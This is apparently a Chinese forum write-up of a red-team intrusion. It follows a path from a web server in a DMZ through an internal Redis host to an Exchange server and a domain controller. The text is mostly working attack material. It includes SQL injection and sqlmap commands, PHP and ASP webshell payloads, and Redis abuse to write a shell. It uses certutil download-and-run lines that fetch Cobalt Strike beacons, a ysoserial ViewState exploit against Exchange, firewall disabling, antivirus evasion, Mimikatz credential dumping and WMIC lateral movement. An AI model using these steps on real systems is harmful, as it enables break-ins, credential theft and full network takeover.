前言

在红队攻防中,需要我们拥有综合能力,不仅仅是web渗透的漏洞挖掘与利用,边界突破的方式有很多种,当然这需要我们拥有很强的意识,包括从web网站撕破口子,需要对各种漏洞的原理与利用了然于心,或者是通过社工钓鱼等方式,还需要我们拥有很强的代码功底,从代码的层面去分析问题,或者去写相关脚本进行利用,需要我们具有与杀软对抗的能力,需要我们熟悉web渗透,内网渗透,红队攻防的流程,进入内网之后,快速分析网络环境,以及自己所处的位置,找到拿到目标的最佳方法。

第一层 DMZ区

访问目标站点

端口扫描
nmap -sT xxx.xxx.xxx.xxx

目录扫描:

把它的备份文件下载到了本地,解压源码进行代码审计

代码审计拿密码

搜索请求类型:GET、POST、COOKIE、REQUST、SESSION
尽可能的找到一些关键点比如下面的“MYSQLBAKPASSWORD”

全局搜索这个关键点

d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为:adminadminadmin

搜索关键点:密码
找到一个请求方法
“?action=mysqldatabak_down&pwd=您设置的数据库备份密码”

全局搜索这个方法名“mysqldatabak_down”

找到一个数据库备份下载的页面,尝试去访问
http://xxx.xxx.xxx/kss_admin/admin_data.php

却提示未知的方法请求,上面的说到找到了密码和一个请求方法,可以直接利用:
http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin

访问后直接下载数据库备份文件,这时候就可以尝试找管理员账号密码进行登录。
检查配置文件是否存留本地
得到数据库备份文件后就自行导入数据库
启动phpstudy,打开MySQL_Front工具

新建数据库,输入SQL文件

注意字符集是UTF-8

找到管理员账号密码进行登录,这里可以找到解密后的密码

SQL注入拿密码

hackbar构造payload:

http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

v_oid存在布尔盲注,为真的时候返回订单金额不符

为假的时候返回,订单未找到

请求包如下:

POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx.xxx.xxx
Connection: close

v_oid=*&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

保存成sql.txt

python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch

成功注入出账号和密码

代码审计拿shell

数据库备份邮箱拿shell

发现密码是存留在配置文件里的,那就反回去看配置文件是否可以利用

攻击地址:
http://xxx.xxx.xxx/
输入账号密码,登录后发现系统设置页面是/kss_inc/_config.php文件里的内容,是可以直接写入webshell

如:');@eval($_POST[a]);('

连接地址:

http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php

密码:a

木马写入在

后台shell

构造payload:

http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>

漏洞利用

连接地址:
http://x.x.x/kss_tool/_webup.php
密码:aye

提权宝塔系统Bypass Disable Function

禁用函数
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
既然“宝塔”禁用这么多函数,权限却是“system”,那就找找宝塔的配置文件、后台路径。
后台路径:C:/BtSoft/panel/panel/data/admin_path.pl
http://xxx.xxx.xxx:8888/e1VOsmtO/

密码:C:/BtSoft/panel/data/default.pl(初始默认密码)
jSKyFFdj

宝塔的登录端口C:/BtSoft/panel/data/port.pl

8888
登录账号:C:/BtSoft/panel/panel/data/default.db(账号和加密的密码)

然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
成功登录

成功登录

进入后台后可以考虑计划任务命令执行或者直接点,解封一个命令执行函数

成功执行命令

查看进程:tasklist

存在火绒

cs拿shell

打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
./teamserver x.x.x admin
在Listeners面板中点击Add按钮,新建一个监听器,如图

生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图

保持默认配置,选择已经创建的监听器,设置输出类型为powershell,注意勾选x64,然后点击Generate按钮, 如图

这里把ps1传到个人服务器做远程加载演示,服务器一定要能被访问到,上传后可访问,下一步,即执行powershell命令,可powershell行为特征也被火绒记录在册,可通过对部分命令进行修改,绕过火绒该防护,免杀部分会单独分享,此处只提供作为红队攻击成员如何实战。

成功绕过火绒的防护,cs成功上线

注入进程

进行信息收集

抓取到hash

通过解密得到了 administrator 的密码
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

关闭防火墙
shell netsh advfirewall set allprofiles state off

打开3389端口

绕过火绒添加用户
蚂蚁剑或者cs上传添加用户的exe文件并运行

远程登陆

第二层 办公区

Earthworm穿透

上传EW(Earthworm)到C:/wwwroot/

服务器端执行以下命令(关掉目标站的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 x.x.x 1090

探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 x.x.x.0/24

192.168.59.4是存活的,我们着重看一下,发现开了80和6379

Redis-getshell

kali环境进行爆破
proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379

连接redis
cd /redis-stable
proxychains src/redis-cli -h 192.168.59.4 -a xxxx

备份文件写Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
192.168.59.4:6379>save                                    最后保存

利用过程

代理蚁剑进行连接这个shell

连接地址
http://192.168.59.4/redis.asp
密码
chopper
成功连接到server-redis

并查看权限

利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下

成功进行提权

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马

对生成的exe文件进行免杀

先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警

通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马

C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe

再通过提权工具进行执行

C:\ProgramData\xx.exe -i -c "beacon.exe"

此时查看cs,已成功上线

同样注入进程

进行信息收集

shell ipconfig

logonpasswords

查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

关闭防火墙
shell netsh advfirewall set allprofiles state off

打开3389端口

挂代理,通过之前上传的EW(Earthworm)到C:/wwwroot/
Proxifier配置

可以通过redis的shell进行操作添加用户,也可以使用cs添加用户

远程登陆

第三层 核心区

通过蚂蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下

探测内网段存活
nbtscan.exe 10.10.10.0/24

代理出网,拿下邮服

此时绘制出整个目标网络拓扑图如下:

将ew上传到bt和redis

首先,在VPS上开启如下监听,将1080端口监听的流量都转发到本地的888端口(关掉防火墙,要能够相互访问)
ew.exe -s lcx_listen -l 1080 -e 888

然后在服务器B上执行如下命令,监听本地的999端口
execute C:\ew.exe -s ssocksd -l 999

最后在服务器A上执行如下命令,将VPS的888端口和服务器B的999端口连接起来
execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999

以上命令都执行完之后,设置socks5代理为VPS的1080端口

即可成功访问目标的exchange服务。
https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue

对ex13进行攻击

nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389

蚂蚁剑可通过更改代理进行连接

在 Redis 上的“C:\Users\Administrator\Documents\Outlook文件\”找到对应文件以及关键邮箱找到了 pts 文件:

下载到本地,通过将两个pst导入outlook可以看到exchange的一个账号密码

登陆成功,访问https://10.10.10.209/ecp/default.aspx
获取viewstateuserkey

__VIEWSTATEGENERATOR=B97B4E27

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马
将木马通过cs上传到redis服务器的redis目录下

使用exp执行payload:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy

生成的payload,进行url编码

拼接成攻击的连接,反弹shell,得到Exchange服务器的System权限的会话

https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx

此时页面会返回500错误

查看cs,已上线

同样迁移进程
或者下载后门文件到exchange

第三层 域控

读取到本地有dc账号记录,那就可以直接用wmic横行操作一波
Mimikatz抓取到dc的账号密码

在server-ex机器上使用自带的WMIC.exe执行命令

shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"

成功上线cs

同样迁移进程
同样添加用户
同样挂代理

远程登陆

总结

在红队攻防实战中,作为一名红队攻击成员,要做到从外网进行边界突破,进入内网,绕过层层杀软与防护,分析面临的情况与问题,最终拿下目标。

点击收藏 | 12 关注 | 5
  • 动动手指,沙发就是你的了!
登录 后跟帖